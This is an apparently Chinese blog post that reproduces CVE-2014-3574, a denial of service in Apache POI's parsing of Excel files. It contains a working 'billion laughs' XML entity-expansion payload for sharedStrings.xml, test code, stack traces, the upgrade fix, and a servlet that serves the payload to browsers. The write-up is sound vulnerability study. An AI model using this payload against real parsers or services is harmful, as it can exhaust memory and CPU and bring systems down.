POI解析excel的漏洞(CVE-2014-3574)

in 编程
关注公众号【好便宜】( ID:haopianyi222 ),领红包啦~
阿里云,国内最大的云服务商,注册就送数千元优惠券:https://t.cn/AiQe5A0g
腾讯云,良心云,价格优惠: https://t.cn/AieHwwKl
搬瓦工,CN2 GIA 优质线路,搭梯子、海外建站推荐: https://t.cn/AieHwfX9

一、概述

    最早的时候,java开发人员在操作excel的时候,用的最多的框架应该是poi、jxl。随着office的不断发展,office2007开始支持openXML的协议,后续陆续出现了新的框架支持操作office,如docx4j等。openXML使得数据的结构、组成更加透明,可以通过一定的操作看到内部完整的结构,如果仔细研究内部的属性,还可以进行更深层次的操作。当然,有利有弊,这也在一定程度上带来了麻烦,因为文件可以随意的更改内部的组成,在一定程度上给相关系统造成麻烦。

二、excel2007+的结构预览

关于更多openXML的信息,可以搜索查阅。下面主要对于excel的目录结构进行说明。

1、新建一个excel

要求为2007或以上,可以随便填写一些内容,然后将后缀更改为.zip,然后用压缩软件进行解压,查看目录结构,如下:

2、对xl目录下的文件进行分析


三、漏洞CVE-2014-3574现象

    该漏洞可查看POI拒绝服务漏洞。该漏洞的本质是对xml进行解析的时候会进行N多次的递归,有点死循环的现象,造成CPU瞬间100%。如果该漏洞被攻击,可能导致业务不正常甚至服务器崩溃。如果是正常的office文件创建,是不会出现该问题的,只有在特定人为情况下,该漏洞才可能出现。

四、结合代码复现漏洞

    在第二点说明excel内部结构的时候,可以看到内部有个shareStrings.xml,该文件主要用于常量字符串的定义。sheet.xml中会对该文件中的值进行依赖引用。所以要解析excel,事先肯定需要先将常量进行解析。下面的漏洞是对该文件进行操作造成的。

1、使用POI进行解析

我使用的是POI3.8

import java.io.FileInputStream;

import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;

public class TestExcel {

	public static void main(String[] args) throws Exception{
		XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream("D:/test.xlsx")); 
		Sheet sheet = wb.getSheetAt(0);
		System.out.println(sheet.getPhysicalNumberOfRows());
	}
	
}

如果是新创建的文件,此处可以正常打印出物理行数。

2、修改sharedStrings.xml,再进行运行

用zip打开excel文件,将sharedStrings.xml修改成以下内容

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

再重新运行,可以看到程序并不会很快的打印出物理行数,而是不断的运行(如果加启动参数verbose:gc,可以看到内存的不断回收)。过一会儿之后程序报出内存溢出的错误。正常来说,这个excel文件只有几K,应该是很快就可以得到结果,但是却运行了这么久,而且内存溢出,说明程序的某个地方可能进行了类似于死循环的情况。

3、再次调整sharedStrings.xml并运行

sharedStrings.xml内容改为如下:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>

执行,发现程序抛出如下异常:

Exception in thread "main" org.apache.poi.POIXMLException: java.lang.reflect.InvocationTargetException
	at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:62)
	at org.apache.poi.POIXMLDocumentPart.read(POIXMLDocumentPart.java:403)
	at org.apache.poi.POIXMLDocument.load(POIXMLDocument.java:155)
	at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:190)
	at TestExcel.main(TestExcel.java:10)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)
	at java.lang.reflect.Constructor.newInstance(Constructor.java:513)
	at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:60)
	... 4 more
Caused by: java.io.IOException: error: The document is not a sst@http://schemas.openxmlformats.org/spreadsheetml/2006/main: document element mismatch got lolz
	at org.apache.poi.xssf.model.SharedStringsTable.readFrom(SharedStringsTable.java:125)
	at org.apache.poi.xssf.model.SharedStringsTable.<init>(SharedStringsTable.java:102)
	... 9 more

此时没有抛出异常,说明对该文件的解析已经完成,并且判定了该文件的格式不正确。

4、分析

    首先对sharedStrings.xml中添加的内容进行分析。拿第二点的数据,<lolz>&lol9;</lolz>代表引用ENTITY lol9,而ENTITY lol9由10个lol8组成,每个lol8又是由10个1ol7组成,所以将会一直的递归,次数会达到10^9。该次数可能导致机器短时间内的CPU暴涨,据计算,需要将近3G的内存,所以运行的时候,程序会不断在跑,最终抛出内存溢出的错误,如果在一台内存足够大的机器上,应该是CPU一直沾满,程序一直在跑直到结束为止;第3点的数据,由于数据很小,只有10^2=100次的计算,所以程序很快就结束,继续下面的流程时检查到文件内的格式等错误,抛出了相应的异常。

5、解决方案

将POI升级到3.12可以解决该问题,运行过程中会抛出异常。运行刚刚的文件,会抛出异常

Exception in thread "main" java.lang.NullPointerException
	at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.setChunkIndex(DeferredDocumentImpl.java:1944)
	at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.appendChild(DeferredDocumentImpl.java:644)
	at com.sun.org.apache.xerces.internal.parsers.AbstractDOMParser.characters(AbstractDOMParser.java:1191)
	at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDValidator.characters(XMLDTDValidator.java:862)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:463)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:807)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:107)
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:225)
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:283)
	at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:124)
	at org.apache.poi.util.DocumentHelper.readDocument(DocumentHelper.java:96)
	at org.apache.poi.openxml4j.opc.internal.unmarshallers.PackagePropertiesUnmarshaller.unmarshall(PackagePropertiesUnmarshaller.java:108)
	at org.apache.poi.openxml4j.opc.OPCPackage.getParts(OPCPackage.java:713)
	at org.apache.poi.openxml4j.opc.OPCPackage.open(OPCPackage.java:275)
	at org.apache.poi.util.PackageHelper.open(PackageHelper.java:37)
	at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:266)
	at TestExcel.main(TestExcel.java:10)

五、扩展

如果前端请求,后端响应XML内容,XML的内容如上,结果会怎样呢?测试代码如下

public class TestServlet extends HttpServlet {

	@Override
	protected void service(HttpServletRequest req, HttpServletResponse resp)
			throws ServletException, IOException {
		resp.setContentType("text/xml;charset=utf-8");
		InputStream is = new FileInputStream(new File("d:/test.xml"));
		BufferedReader reader = new BufferedReader(new InputStreamReader(is));
		String s = null;
		while((s = reader.readLine())!=null){
			resp.getWriter().write(s);
		}
		reader.close();
		resp.getWriter().close();
	}
	
}
web.xml配置:
<servlet>
		<servlet-name>test</servlet-name>
		<servlet-class>TestServlet</servlet-class>
	</servlet>
	
	<servlet-mapping>
		<servlet-name>test</servlet-name>
		<url-pattern>/test.do</url-pattern>
	</servlet-mapping>

前端请求http://localhost:8080/poi/test.do如果xml文件的个数比较少,到lol2,则Chrome和IE都可以打开显示内容:

,但是,如果将个数调整为3个以上,则IE浏览器仍然会继续渲染10^N,但是Chrome此时已经有了提示,说XML中存在循环:

关注公众号【好便宜】( ID:haopianyi222 ),领红包啦~
阿里云,国内最大的云服务商,注册就送数千元优惠券:https://t.cn/AiQe5A0g
腾讯云,良心云,价格优惠: https://t.cn/AieHwwKl
搬瓦工,CN2 GIA 优质线路,搭梯子、海外建站推荐: https://t.cn/AieHwfX9
扫一扫关注公众号添加购物返利助手,领红包
Comments are closed.

推荐使用阿里云服务器

超多优惠券

服务器最低一折,一年不到100!

朕已阅去看看